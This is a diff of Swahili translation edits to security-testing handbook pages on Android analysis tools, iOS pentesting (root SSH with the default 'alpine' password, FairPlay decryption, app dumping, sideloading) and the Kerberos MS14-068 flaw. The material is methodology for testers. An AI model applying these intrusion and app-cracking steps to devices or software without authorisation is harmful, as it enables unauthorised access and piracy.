> Baada ya kufanya uchambuzi wa dynamic na MobSF mipangilio ya proxy inaweza kuwa imepangwa vibaya na huwezi kuziweka sawa kutoka kwa GUI. Unaweza kurekebisha mipangilio ya proxy kwa kufanya:
 | 
			
		||||
>
 | 
			
		||||
> ```
 | 
			
		||||
> adb shell settings put global http_proxy :0
 | 
			
		||||
@ -589,13 +589,13 @@ Chombo hiki kitatumia **Hooks** kukujulisha **kila kinachotokea katika programu*
 | 
			
		||||
 | 
			
		||||
### [Yaazhini](https://www.vegabird.com/yaazhini/)
 | 
			
		||||
 | 
			
		||||
Hii ni **chombo kizuri kufanya uchambuzi wa statiki na GUI**
 | 
			
		||||
Hii ni **chombo kizuri kufanya uchambuzi wa static na GUI**
 | 
			
		||||
 | 
			
		||||
.png>)
 | 
			
		||||
 | 
			
		||||
### [Qark](https://github.com/linkedin/qark)
 | 
			
		||||
 | 
			
		||||
Chombo hiki kimeundwa kutafuta udhaifu kadhaa **yanayohusiana na usalama wa programu za Android**, iwe katika **kanuni ya chanzo** au **APKs zilizopakiwa**. Chombo hiki pia **kina uwezo wa kuunda "Proof-of-Concept" APK inayoweza kutekelezwa** na **amri za ADB**, ili kutumia baadhi ya udhaifu uliofindika (Shughuli zilizo wazi, nia, tapjacking...). Kama ilivyo kwa Drozer, hakuna haja ya ku-root kifaa kinachojaribiwa.
 | 
			
		||||
Chombo hiki kimeundwa kutafuta **udhaifu kadhaa zinazohusiana na usalama wa programu za Android**, iwe katika **kanuni ya chanzo** au **APKs zilizopakiwa**. Chombo hiki pia ni **capable of creating a "Proof-of-Concept" deployable APK** na **ADB commands**, ili kutumia baadhi ya udhaifu uliofindika (Shughuli zilizo wazi, nia, tapjacking...). Kama ilivyo kwa Drozer, hakuna haja ya ku-root kifaa cha mtihani.
 | 
			
		||||
```bash
 | 
			
		||||
pip3 install --user qark  # --user is only needed if not using a virtualenv
 | 
			
		||||
qark --apk path/to/my.apk
 | 
			
		||||
@ -605,7 +605,7 @@ qark --java path/to/specific/java/file.java
 | 
			
		||||
### [**ReverseAPK**](https://github.com/1N3/ReverseAPK.git)
 | 
			
		||||
 | 
			
		||||
- Inaonyesha faili zote zilizotolewa kwa ajili ya rejeleo rahisi
 | 
			
		||||
- Inachambua faili za APK kiotomatiki hadi katika muundo wa Java na Smali
 | 
			
		||||
- Inachambua faili za APK moja kwa moja hadi katika muundo wa Java na Smali
 | 
			
		||||
- Changanua AndroidManifest.xml kwa ajili ya udhaifu na tabia za kawaida
 | 
			
		||||
- Uchambuzi wa msimbo wa chanzo wa statiki kwa ajili ya udhaifu na tabia za kawaida
 | 
			
		||||
- Taarifa za kifaa
 | 
			
		||||
@ -615,7 +615,7 @@ reverse-apk relative/path/to/APP.apk
 | 
			
		||||
```
 | 
			
		||||
### [SUPER Android Analyzer](https://github.com/SUPERAndroidAnalyzer/super)
 | 
			
		||||
 | 
			
		||||
SUPER ni programu ya amri ambayo inaweza kutumika katika Windows, MacOS X na Linux, inayochambua faili za _.apk_ kutafuta udhaifu. Inafanya hivyo kwa kubonyeza APKs na kutumia mfululizo wa sheria kugundua udhaifu hizo.
 | 
			
		||||
SUPER ni programu ya amri inayoweza kutumika katika Windows, MacOS X na Linux, inayochambua faili za _.apk_ kutafuta udhaifu. Inafanya hivyo kwa kubonyeza APKs na kutumia mfululizo wa sheria kugundua udhaifu hizo.
 | 
			
		||||
 | 
			
		||||
Sheria zote zinazingatia faili ya `rules.json`, na kila kampuni au mtathmini anaweza kuunda sheria zake mwenyewe kuchambua kile wanachohitaji.
 | 
			
		||||
 | 
			
		||||
@ -629,7 +629,7 @@ super-analyzer {apk_file}
 | 
			
		||||
 | 
			
		||||
StaCoAn ni chombo **crossplatform** ambacho husaidia waendelezaji, wawindaji wa makosa na hackers wa kimaadili wanaofanya [static code analysis](https://en.wikipedia.org/wiki/Static_program_analysis) kwenye programu za simu.
 | 
			
		||||
 | 
			
		||||
Wazo ni kwamba unavuta na kuacha faili yako ya programu ya simu (faili .apk au .ipa) kwenye programu ya StaCoAn na itaunda ripoti ya kuona na inayoweza kubebeka kwako. Unaweza kubadilisha mipangilio na orodha za maneno ili kupata uzoefu wa kibinafsi.
 | 
			
		||||
Wazo ni kwamba unavuta na kuacha faili yako ya programu ya simu (faili .apk au .ipa) kwenye programu ya StaCoAn na itaunda ripoti ya kuona na kubebeka kwako. Unaweza kubadilisha mipangilio na orodha za maneno ili kupata uzoefu wa kibinafsi.
 | 
			
		||||
 | 
			
		||||
Pakua [latest release](https://github.com/vincentcox/StaCoAn/releases):
 | 
			
		||||
```
 | 
			
		||||
@ -637,7 +637,7 @@ Pakua [latest release](https://github.com/vincentcox/StaCoAn/releases):
 | 
			
		||||
```
 | 
			
		||||
### [AndroBugs](https://github.com/AndroBugs/AndroBugs_Framework)
 | 
			
		||||
 | 
			
		||||
AndroBugs Framework ni mfumo wa uchambuzi wa udhaifu wa Android unaosaidia waendelezaji au hackers kupata udhaifu wa usalama unaoweza kutokea katika programu za Android.\
 | 
			
		||||
AndroBugs Framework ni mfumo wa uchambuzi wa udhaifu wa Android ambao unawasaidia waendelezaji au hackers kutafuta udhaifu wa usalama unaoweza kuwepo katika programu za Android.\
 | 
			
		||||
[Windows releases](https://github.com/AndroBugs/AndroBugs_Framework/releases)
 | 
			
		||||
```
 | 
			
		||||
python androbugs.py -f [APK file]
 | 
			
		||||
@ -645,11 +645,11 @@ androbugs.exe -f [APK file]
 | 
			
		||||
```
 | 
			
		||||
### [Androwarn](https://github.com/maaaaz/androwarn)
 | 
			
		||||
 | 
			
		||||
**Androwarn** ni chombo ambacho lengo lake kuu ni kugundua na kuonya mtumiaji kuhusu tabia mbaya zinazoweza kutokea zinazotengenezwa na programu ya Android.
 | 
			
		||||
**Androwarn** ni chombo ambacho lengo lake kuu ni kugundua na kumwonya mtumiaji kuhusu tabia mbaya zinazoweza kutokea zinazotengenezwa na programu ya Android.
 | 
			
		||||
 | 
			
		||||
Ugunduzi unafanywa kwa **uchambuzi wa statiki** wa bytecode ya Dalvik ya programu, inayowakilishwa kama **Smali**, kwa kutumia maktaba ya [`androguard`](https://github.com/androguard/androguard).
 | 
			
		||||
 | 
			
		||||
Chombo hiki kinatafuta **tabia za kawaida za programu "mbaya"** kama: Uhamasishaji wa vitambulisho vya Telephony, Ukatishaji wa mtiririko wa sauti/video, Marekebisho ya data za PIM, Utekelezaji wa msimbo wa kiholela...
 | 
			
		||||
Chombo hiki kinatafuta **tabia za kawaida za programu "mbaya"** kama: Uhamasishaji wa vitambulisho vya Simu, Ukatishaji wa mtiririko wa sauti/video, Marekebisho ya data za PIM, Utekelezaji wa msimbo wa kiholela...
 | 
			
		||||
```
 | 
			
		||||
python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
 | 
			
		||||
```
 | 
			
		||||
@ -702,15 +702,15 @@ Unaweza kupakia APK iliyokuwa obfuscated kwenye jukwaa lao.
 | 
			
		||||
 | 
			
		||||
### [Deobfuscate android App]https://github.com/In3tinct/deobfuscate-android-app
 | 
			
		||||
 | 
			
		||||
Hii ni zana ya LLM kutafuta udhaifu wowote wa usalama katika programu za android na kuondoa obfuscation ya msimbo wa programu za android. Inatumia API ya umma ya Gemini ya Google.
 | 
			
		||||
Hii ni zana ya LLM ya kutafuta udhaifu wowote wa usalama katika programu za android na kuondoa obfuscation ya msimbo wa programu za android. Inatumia API ya umma ya Gemini ya Google.
 | 
			
		||||
 | 
			
		||||
### [Simplify](https://github.com/CalebFenton/simplify)
 | 
			
		||||
 | 
			
		||||
Ni **deobfuscator ya kawaida ya android.** Simplify **inatekeleza programu kwa karibu** ili kuelewa tabia yake na kisha **jaribu kuboresha msimbo** ili iwe na tabia sawa lakini iwe rahisi kwa binadamu kuelewa. Kila aina ya kuboresha ni rahisi na ya kawaida, hivyo haijalishi ni aina gani maalum ya obfuscation inayotumika.
 | 
			
		||||
Ni **deobfuscator ya android ya jumla.** Simplify **inatekeleza programu kwa karibu** ili kuelewa tabia yake na kisha **jaribu kuboresha msimbo** ili iwe na tabia sawa lakini iwe rahisi kwa binadamu kuelewa. Kila aina ya kuboresha ni rahisi na ya jumla, hivyo haijalishi ni aina gani maalum ya obfuscation inayotumika.
 | 
			
		||||
 | 
			
		||||
### [APKiD](https://github.com/rednaga/APKiD)
 | 
			
		||||
 | 
			
		||||
APKiD inakupa taarifa kuhusu **jinsi APK ilivyotengenezwa**. Inatambua **kompila**, **packers**, **obfuscators**, na vitu vingine vya ajabu. Ni [_PEiD_](https://www.aldeid.com/wiki/PEiD) kwa Android.
 | 
			
		||||
APKiD inakupa taarifa kuhusu **jinsi APK ilivyotengenezwa**. Inatambua **kompila**, **pakka**, **obfuscators**, na vitu vingine vya ajabu. Ni [_PEiD_](https://www.aldeid.com/wiki/PEiD) kwa Android.
 | 
			
		||||
 | 
			
		||||
### Manual
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
@ -6,7 +6,7 @@
 | 
			
		||||
 | 
			
		||||
### **Kutambua UDID ya Kifaa cha iOS**
 | 
			
		||||
 | 
			
		||||
Ili kutambua kifaa cha iOS kwa kipekee, mfuatano wa tarakimu 40 unaojulikana kama UDID unatumika. Kwenye macOS Catalina au mpya, hii inaweza kupatikana katika **Finder app**, kwani iTunes haipo tena. Kifaa, kinapounganishwa kupitia USB na kuchaguliwa katika Finder, kinaonyesha UDID yake pamoja na taarifa nyingine wakati maelezo chini ya jina lake yanapobofya.
 | 
			
		||||
Ili kutambua kifaa cha iOS kwa kipekee, mfuatano wa tarakimu 40 unaojulikana kama UDID unatumika. Kwenye macOS Catalina au mpya, hii inaweza kupatikana katika **Finder app**, kwani iTunes haitumiki tena. Kifaa, kinapounganishwa kupitia USB na kuchaguliwa katika Finder, kinaonyesha UDID yake pamoja na taarifa nyingine wakati maelezo chini ya jina lake yanapobofya.
 | 
			
		||||
 | 
			
		||||
Kwa matoleo ya macOS kabla ya Catalina, iTunes inarahisisha kugundua UDID. Maelekezo ya kina yanaweza kupatikana [hapa](http://www.iclarified.com/52179/how-to-find-your-iphones-udid).
 | 
			
		||||
 | 
			
		||||
@ -31,24 +31,24 @@ $ instruments -s devices
 | 
			
		||||
```
 | 
			
		||||
### **Kufikia Shell ya Kifaa**
 | 
			
		||||
 | 
			
		||||
**Upatikanaji wa SSH** umewezeshwa kwa kufunga **pakiti ya OpenSSH** baada ya jailbreak, ikiruhusu muunganisho kupitia `ssh root@<device_ip_address>`. Ni muhimu kubadilisha nywila za msingi (`alpine`) kwa watumiaji `root` na `mobile` ili kulinda kifaa.
 | 
			
		||||
**SSH access** inaruhusiwa kwa kufunga **OpenSSH package** baada ya jailbreak, ikiruhusu muunganisho kupitia `ssh root@<device_ip_address>`. Ni muhimu kubadilisha nywila za msingi (`alpine`) kwa watumiaji `root` na `mobile` ili kulinda kifaa.
 | 
			
		||||
 | 
			
		||||
**SSH kupitia USB** inakuwa muhimu pindi Wi-Fi haitapatikana, ikitumia `iproxy` kubadilisha bandari za kifaa kwa muunganisho wa SSH. Mpangilio huu unaruhusu upatikanaji wa SSH kupitia USB kwa kukimbia:
 | 
			
		||||
**SSH kupitia USB** inakuwa muhimu pindi hakuna Wi-Fi, kwa kutumia `iproxy` kuunganisha bandari za kifaa kwa muunganisho wa SSH. Mpangilio huu unaruhusu ufikiaji wa SSH kupitia USB kwa kukimbia:
 | 
			
		||||
```bash
 | 
			
		||||
$ iproxy 2222 22
 | 
			
		||||
$ ssh -p 2222 root@localhost
 | 
			
		||||
```
 | 
			
		||||
**Programu za shell kwenye kifaa**, kama NewTerm 2, husaidia katika mwingiliano wa moja kwa moja na kifaa, hasa ni muhimu kwa ajili ya kutatua matatizo. **Shell za Reverse SSH** zinaweza pia kuanzishwa kwa ajili ya ufikiaji wa mbali kutoka kwa kompyuta mwenyeji.
 | 
			
		||||
**On-device shell applications**, kama NewTerm 2, huruhusu mwingiliano wa moja kwa moja na kifaa, hasa ni muhimu kwa ajili ya kutatua matatizo. **Reverse SSH shells** pia zinaweza kuanzishwa kwa ajili ya ufikiaji wa mbali kutoka kwa kompyuta mwenyeji.
 | 
			
		||||
 | 
			
		||||
### **Kurekebisha Nywila Iliyosahaulika**
 | 
			
		||||
 | 
			
		||||
Ili kurekebisha nywila iliyosahaulika kuwa ya kawaida (`alpine`), ni muhimu kuhariri faili ya `/private/etc/master.passwd`. Hii inahusisha kubadilisha hash iliyopo na hash ya `alpine` karibu na entries za mtumiaji `root` na `mobile`.
 | 
			
		||||
Ili kurekebisha nywila iliyosahaulika kurudi kwenye chaguo-msingi (`alpine`), kuhariri faili ya `/private/etc/master.passwd` ni muhimu. Hii inahusisha kubadilisha hash iliyopo na hash ya `alpine` karibu na entries za mtumiaji `root` na `mobile`.
 | 
			
		||||
 | 
			
		||||
## **Mbinu za Uhamasishaji wa Data**
 | 
			
		||||
 | 
			
		||||
### **Kuhamisha Faili za Data za Programu**
 | 
			
		||||
 | 
			
		||||
**Kuhifadhi na Kurejesha kupitia SSH na SCP:** Ni rahisi kuhifadhi directory ya Data ya programu kwa kutumia `tar` na kisha kuhamisha kwa kutumia `scp`. Amri iliyo hapa chini inahifadhi directory ya Data katika faili .tgz, ambayo kisha inavutwa kutoka kwa kifaa:
 | 
			
		||||
**Archiving and Retrieval via SSH and SCP:** Ni rahisi kuhifadhi saraka ya Data ya programu kwa kutumia `tar` na kisha kuhamisha kwa kutumia `scp`. Amri iliyo hapa chini inahifadhi saraka ya Data katika faili .tgz, ambayo kisha inavutwa kutoka kwa kifaa:
 | 
			
		||||
```bash
 | 
			
		||||
tar czvf /tmp/data.tgz /private/var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693
 | 
			
		||||
exit
 | 
			
		||||
@ -56,21 +56,21 @@ scp -P 2222 root@localhost:/tmp/data.tgz .
 | 
			
		||||
```
 | 
			
		||||
### **Zana za Kiolesura cha Mtumiaji**
 | 
			
		||||
 | 
			
		||||
**Kutumia iFunbox na iExplorer:** Zana hizi za GUI ni muhimu kwa usimamizi wa faili kwenye vifaa vya iOS. Hata hivyo, kuanzia iOS 8.4, Apple ilipunguza ufikiaji wa zana hizi kwenye sandbox ya programu isipokuwa kifaa kimefanywa jailbroken.
 | 
			
		||||
**Kutumia iFunbox na iExplorer:** Zana hizi za GUI ni muhimu kwa usimamizi wa faili kwenye vifaa vya iOS. Hata hivyo, kuanzia iOS 8.4, Apple ilipunguza ufikiaji wa zana hizi kwenye sandbox ya programu isipokuwa kifaa kimefungwa.
 | 
			
		||||
 | 
			
		||||
### **Kutumia Objection kwa Usimamizi wa Faili**
 | 
			
		||||
 | 
			
		||||
**Shell ya Kihusiano na Objection:** Kuanzisha objection kunatoa ufikiaji wa saraka ya Bundle ya programu. Kutoka hapa, unaweza kuhamasisha kwenye saraka ya Documents ya programu na kusimamia faili, ikiwa ni pamoja na kupakua na kupakia faili hizo kutoka na kwenda kwenye kifaa cha iOS.
 | 
			
		||||
**Shell ya Kihusiano na Objection:** Kuanzisha objection kunatoa ufikiaji wa saraka ya Bundle ya programu. Kutoka hapa, unaweza kuhamasisha kwenye saraka ya Hati za programu na kusimamia faili, ikiwa ni pamoja na kupakua na kupakia faili kutoka na kwenda kwenye kifaa cha iOS.
 | 
			
		||||
```bash
 | 
			
		||||
objection --gadget com.apple.mobilesafari explorer
 | 
			
		||||
cd /var/mobile/Containers/Data/Application/72C7AAFB-1D75-4FBA-9D83-D8B4A2D44133/Documents
 | 
			
		||||
file download <filename>
 | 
			
		||||
```
 | 
			
		||||
## **Kupata na Kutolewa kwa Programu**
 | 
			
		||||
## **Kupata na Kutolewa kwa Mifumo ya Programu**
 | 
			
		||||
 | 
			
		||||
### **Kupata Faili la IPA**
 | 
			
		||||
 | 
			
		||||
**Kiungo cha Usambazaji wa Over-The-Air (OTA):** Programu zinazotolewa kwa ajili ya mtihani kupitia OTA zinaweza kupakuliwa kwa kutumia zana ya kupakua mali za huduma za ITMS, ambayo imewekwa kupitia npm na inatumika kuhifadhi faili la IPA kwenye kifaa.
 | 
			
		||||
**Kiungo cha Usambazaji wa Over-The-Air (OTA):** Mifumo ya programu inayosambazwa kwa ajili ya majaribio kupitia OTA inaweza kupakuliwa kwa kutumia chombo cha kupakua mali za huduma za ITMS, ambacho kimewekwa kupitia npm na kinatumika kuhifadhi faili la IPA kwenye kifaa.
 | 
			
		||||
```bash
 | 
			
		||||
npm install -g itms-services
 | 
			
		||||
itms-services -u "itms-services://?action=download-manifest&url=https://s3-ap-southeast-1.amazonaws.com/test-uat/manifest.plist" -o - > out.ipa
 | 
			
		||||
@ -82,7 +82,7 @@ itms-services -u "itms-services://?action=download-manifest&url=https://s3-ap-so
 | 
			
		||||
 | 
			
		||||
### **Mchakato wa Kufungua**
 | 
			
		||||
 | 
			
		||||
**Muhtasari wa Kufungua kwa Mikono:** Binary za app za iOS zimefungwa na Apple kwa kutumia FairPlay. Ili kufanya reverse-engineering, lazima mtu atoe binary iliyosimbwa kutoka kwenye kumbukumbu. Mchakato wa kufungua unajumuisha kuangalia bendera ya PIE, kurekebisha bendera za kumbukumbu, kubaini sehemu iliyosimbwa, na kisha kutoa na kubadilisha sehemu hii na fomu yake iliyosimbwa.
 | 
			
		||||
**Muhtasari wa Kufungua kwa Mikono:** Binary za app za iOS zimefungwa na Apple kwa kutumia FairPlay. Ili kufanya uhandisi wa nyuma, lazima mtu atoe binary iliyosimbwa kutoka kwenye kumbukumbu. Mchakato wa kufungua unajumuisha kuangalia bendera ya PIE, kurekebisha bendera za kumbukumbu, kubaini sehemu iliyosimbwa, na kisha kutoa na kubadilisha sehemu hii na fomu yake iliyosimbwa.
 | 
			
		||||
 | 
			
		||||
**Kuangalia na Kubadilisha Bendera ya PIE:**
 | 
			
		||||
```bash
 | 
			
		||||
@ -92,24 +92,24 @@ otool -Vh Hello_World
 | 
			
		||||
```
 | 
			
		||||
**Kutambua Sehemu Iliyosimbwa na Kutoa Kumbukumbu:**
 | 
			
		||||
 | 
			
		||||
Tathmini anwani za mwanzo na mwisho za sehemu iliyosimbwa kwa kutumia `otool` na toa kumbukumbu kutoka kwa kifaa kilichovunjwa kwa kutumia gdb.
 | 
			
		||||
Tathmini anwani za mwanzo na mwisho za sehemu iliyosimbwa kwa kutumia `otool` na kutoa kumbukumbu kutoka kwa kifaa kilichovunjwa kwa kutumia gdb.
 | 
			
		||||
```bash
 | 
			
		||||
otool -l Original_App | grep -A 4 LC_ENCRYPTION_INFO
 | 
			
		||||
dump memory dump.bin 0x8000 0x10a4000
 | 
			
		||||
```
 | 
			
		||||
**Kuweka Upya Sehemu ya Kificho:**
 | 
			
		||||
 | 
			
		||||
Badilisha sehemu ya kificho katika binary ya asili ya programu na dump iliyotolewa.
 | 
			
		||||
Badilisha sehemu ya kificho katika binary ya programu asilia na dump iliyotolewa.
 | 
			
		||||
```bash
 | 
			
		||||
dd bs=1 seek=<starting_address> conv=notrunc if=dump.bin of=Original_App
 | 
			
		||||
```
 | 
			
		||||
**Kumaliza Kufichua:** Badilisha metadata ya binary kuonyesha kutokuwepo kwa usimbuaji kwa kutumia zana kama **MachOView**, ukipanga `cryptid` kuwa 0.
 | 
			
		||||
**Kumaliza Ufunguo:** Badilisha metadata ya binary kuonyesha kutokuwepo kwa usimbuaji kwa kutumia zana kama **MachOView**, ukipanga `cryptid` kuwa 0.
 | 
			
		||||
 | 
			
		||||
### **Kufichua (Kiotomatiki)**
 | 
			
		||||
### **Ufunguo (Kiotomatiki)**
 | 
			
		||||
 | 
			
		||||
#### **frida-ios-dump**
 | 
			
		||||
 | 
			
		||||
Zana ya [**frida-ios-dump**](https://github.com/AloneMonkey/frida-ios-dump) inatumika kwa **kufichua na kutoa programu kiotomatiki** kutoka kwa vifaa vya iOS. Kwanza, mtu anapaswa kuunda `dump.py` kuungana na kifaa cha iOS, ambayo inaweza kufanywa kupitia localhost kwenye bandari 2222 kupitia **iproxy** au moja kwa moja kupitia anwani ya IP ya kifaa na bandari.
 | 
			
		||||
Zana ya [**frida-ios-dump**](https://github.com/AloneMonkey/frida-ios-dump) inatumika kwa **kufungua na kutoa programu kiotomatiki** kutoka kwa vifaa vya iOS. Kwanza, mtu anapaswa kuunda `dump.py` ili kuungana na kifaa cha iOS, ambayo inaweza kufanywa kupitia localhost kwenye bandari 2222 kupitia **iproxy** au moja kwa moja kupitia anwani ya IP ya kifaa na bandari.
 | 
			
		||||
 | 
			
		||||
Programu zilizowekwa kwenye kifaa zinaweza kuorodheshwa kwa amri:
 | 
			
		||||
```bash
 | 
			
		||||
@ -119,11 +119,11 @@ Ili kudondosha programu maalum, kama Telegram, amri ifuatayo inatumika:
 | 
			
		||||
```bash
 | 
			
		||||
$ python3 dump.py -u "root" -p "<PASSWORD>" ph.telegra.Telegraph
 | 
			
		||||
```
 | 
			
		||||
Amri hii inaanzisha dump ya programu, na kusababisha kuundwa kwa faili ya `Telegram.ipa` katika saraka ya sasa. Mchakato huu unafaa kwa vifaa vilivyovunjwa, kwani programu zisizosainiwa au zisizo sahihi zinaweza kufungwa upya kwa kutumia zana kama [**ios-deploy**](https://github.com/ios-control/ios-deploy).
 | 
			
		||||
Hii amri inaanzisha upakuaji wa programu, ikisababisha kuundwa kwa faili ya `Telegram.ipa` katika saraka ya sasa. Mchakato huu unafaa kwa vifaa vilivyovunjwa, kwani programu zisizosainiwa au zisizo sahihi zinaweza kufungwa upya kwa kutumia zana kama [**ios-deploy**](https://github.com/ios-control/ios-deploy).
 | 
			
		||||
 | 
			
		||||
#### **flexdecrypt**
 | 
			
		||||
 | 
			
		||||
Zana ya [**flexdecrypt**](https://github.com/JohnCoates/flexdecrypt), pamoja na kifungashio chake [**flexdump**](https://gist.github.com/defparam/71d67ee738341559c35c684d659d40ac), inaruhusu kutoa faili za IPA kutoka kwa programu zilizowekwa. Amri za usakinishaji za **flexdecrypt** kwenye kifaa zinajumuisha kupakua na kusakinisha pakiti ya `.deb`. **flexdump** inaweza kutumika kuorodhesha na dump ya programu, kama inavyoonyeshwa katika amri zilizo hapa chini:
 | 
			
		||||
Zana ya [**flexdecrypt**](https://github.com/JohnCoates/flexdecrypt), pamoja na kifurushi chake [**flexdump**](https://gist.github.com/defparam/71d67ee738341559c35c684d659d40ac), inaruhusu kutoa faili za IPA kutoka kwa programu zilizowekwa. Amri za usakinishaji kwa **flexdecrypt** kwenye kifaa zinajumuisha kupakua na kusakinisha kifurushi cha `.deb`. **flexdump** inaweza kutumika kuorodhesha na kupakua programu, kama inavyoonyeshwa katika amri zilizo hapa chini:
 | 
			
		||||
```bash
 | 
			
		||||
apt install zip unzip
 | 
			
		||||
wget https://gist.githubusercontent.com/defparam/71d67ee738341559c35c684d659d40ac/raw/30c7612262f1faf7871ba8e32fbe29c0f3ef9e27/flexdump -P /usr/local/bin; chmod +x /usr/local/bin/flexdump
 | 
			
		||||
@ -142,7 +142,7 @@ bagbak --raw Chrome
 | 
			
		||||
 | 
			
		||||
### **Kuweka Programu**
 | 
			
		||||
 | 
			
		||||
**Sideloading** inahusisha kufunga programu nje ya Duka rasmi la Programu. Mchakato huu unashughulikiwa na **installd daemon** na unahitaji programu zisainiwe kwa cheti kilichotolewa na Apple. Vifaa vilivyofanywa jailbroken vinaweza kupita hili kupitia **AppSync**, kuruhusu ufungaji wa pakiti za IPA zenye saini bandia.
 | 
			
		||||
**Sideloading** inahusisha kufunga programu nje ya Duka rasmi la Programu. Mchakato huu unashughulikiwa na **installd daemon** na unahitaji programu zisainiwe kwa cheti kilichotolewa na Apple. Vifaa vilivyofunguliwa (jailbroken) vinaweza kupita hili kupitia **AppSync**, kuruhusu ufungaji wa pakiti za IPA zenye sahihi bandia.
 | 
			
		||||
 | 
			
		||||
#### **Zana za Sideloading**
 | 
			
		||||
 | 
			
		||||
@ -156,15 +156,15 @@ bagbak --raw Chrome
 | 
			
		||||
 | 
			
		||||
- **Xcode**: Tumia Xcode kufunga programu kwa kuingia kwenye **Window/Devices and Simulators** na kuongeza programu kwenye **Installed Apps**.
 | 
			
		||||
 | 
			
		||||
#### **Ruhusu Ufunga Programu kwenye Vifaa Visivyo na iPad**
 | 
			
		||||
#### **Ruhusu Ufunguzi wa Programu kwenye Vifaa Visivyo na iPad**
 | 
			
		||||
 | 
			
		||||
Ili kufunga programu maalum za iPad kwenye vifaa vya iPhone au iPod touch, thamani ya **UIDeviceFamily** katika faili ya **Info.plist** inahitaji kubadilishwa kuwa **1**. Marekebisho haya, hata hivyo, yanahitaji kusaini tena faili ya IPA kutokana na ukaguzi wa uthibitisho wa saini.
 | 
			
		||||
Ili kufunga programu maalum za iPad kwenye vifaa vya iPhone au iPod touch, thamani ya **UIDeviceFamily** katika faili ya **Info.plist** inahitaji kubadilishwa kuwa **1**. Marekebisho haya, hata hivyo, yanahitaji kusaini tena faili ya IPA kutokana na ukaguzi wa uthibitisho wa sahihi.
 | 
			
		||||
 | 
			
		||||
**Kumbuka**: Njia hii inaweza kushindwa ikiwa programu inahitaji uwezo wa kipekee kwa mifano mipya ya iPad wakati ikitumia iPhone au iPod touch ya zamani.
 | 
			
		||||
**Kumbuka**: Njia hii inaweza kushindwa ikiwa programu inahitaji uwezo ambao ni wa kipekee kwa mifano mipya ya iPad wakati ikitumia iPhone au iPod touch ya zamani.
 | 
			
		||||
 | 
			
		||||
## References
 | 
			
		||||
 | 
			
		||||
- [https://mas.owasp.org/MASTG/iOS/0x06b-iOS-Security-Testing/](ttps://mas.owasp.org/MASTG/iOS/0x06b-iOS-Security-Testing/)
 | 
			
		||||
- [https://mas.owasp.org/MASTG/iOS/0x06b-iOS-Security-Testing/](ttps://mas.owasp.org/MASTG/iOS/0x06b-iOS-Security-Testing/index.html)
 | 
			
		||||
- [https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0052/](https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0052/)
 | 
			
		||||
- [https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0053/](https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0053/)
 | 
			
		||||
- [https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0054/](https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0054/)
 | 
			
		||||
 | 
			
		||||
@ -6,7 +6,7 @@
 | 
			
		||||
 | 
			
		||||
**Kerberos** inafanya kazi kwa kanuni ambapo inathibitisha watumiaji bila moja kwa moja kusimamia ufikiaji wao kwa rasilimali. Hii ni tofauti muhimu kwa sababu inasisitiza jukumu la itifaki katika mifumo ya usalama.
 | 
			
		||||
 | 
			
		||||
Katika mazingira kama **Active Directory**, **Kerberos** ni muhimu katika kuanzisha utambulisho wa watumiaji kwa kuthibitisha nywila zao za siri. Mchakato huu unahakikisha kwamba utambulisho wa kila mtumiaji unathibitishwa kabla ya kuingiliana na rasilimali za mtandao. Hata hivyo, **Kerberos** haipanui kazi zake kutathmini au kutekeleza ruhusa ambazo mtumiaji anazo juu ya rasilimali au huduma maalum. Badala yake, inatoa njia salama ya kuthibitisha watumiaji, ambayo ni hatua muhimu ya kwanza katika mchakato wa usalama.
 | 
			
		||||
Katika mazingira kama **Active Directory**, **Kerberos** ni muhimu katika kuanzisha utambulisho wa watumiaji kwa kuthibitisha nywila zao za siri. Mchakato huu unahakikisha kwamba utambulisho wa kila mtumiaji unathibitishwa kabla ya kuingiliana na rasilimali za mtandao. Hata hivyo, **Kerberos** haipanui kazi zake kutathmini au kutekeleza ruhusa ambazo mtumiaji ana juu ya rasilimali au huduma maalum. Badala yake, inatoa njia salama ya kuthibitisha watumiaji, ambayo ni hatua muhimu ya kwanza katika mchakato wa usalama.
 | 
			
		||||
 | 
			
		||||
Baada ya uthibitisho na **Kerberos**, mchakato wa kufanya maamuzi kuhusu ufikiaji wa rasilimali unakabidhiwa kwa huduma binafsi ndani ya mtandao. Huduma hizi zinawajibika kutathmini haki na ruhusa za mtumiaji aliyethibitishwa, kulingana na taarifa iliyotolewa na **Kerberos** kuhusu haki za mtumiaji. Muundo huu unaruhusu kutenganisha masuala kati ya kuthibitisha utambulisho wa watumiaji na kusimamia haki zao za ufikiaji, na kuwezesha njia yenye kubadilika na salama ya usimamizi wa rasilimali katika mitandao iliyosambazwa.
 | 
			
		||||
 | 
			
		||||
@ -15,7 +15,7 @@ Baada ya uthibitisho na **Kerberos**, mchakato wa kufanya maamuzi kuhusu ufikiaj
 | 
			
		||||
PORT   STATE SERVICE
 | 
			
		||||
88/tcp open  kerberos-sec
 | 
			
		||||
```
 | 
			
		||||
### **Ili kujifunza jinsi ya kutumia Kerberos unapaswa kusoma chapisho kuhusu** [**Active Directory**](../../windows-hardening/active-directory-methodology/)**.**
 | 
			
		||||
### **Ili kujifunza jinsi ya kutumia Kerberos unapaswa kusoma chapisho kuhusu** [**Active Directory**](../../windows-hardening/active-directory-methodology/index.html)**.**
 | 
			
		||||
 | 
			
		||||
## Zaidi
 | 
			
		||||
 | 
			
		||||
@ -25,13 +25,13 @@ PORT   STATE SERVICE
 | 
			
		||||
 | 
			
		||||
### MS14-068
 | 
			
		||||
 | 
			
		||||
Kasoro ya MS14-068 inaruhusu mshambuliaji kubadilisha tokeni ya kuingia ya Kerberos ya mtumiaji halali ili kudai kwa uwongo mamlaka ya juu, kama vile kuwa Msimamizi wa Domain. Dai hili la uongo linathibitishwa kwa makosa na Msimamizi wa Domain, likiwezesha ufikiaji usioidhinishwa wa rasilimali za mtandao katika msitu wa Active Directory.
 | 
			
		||||
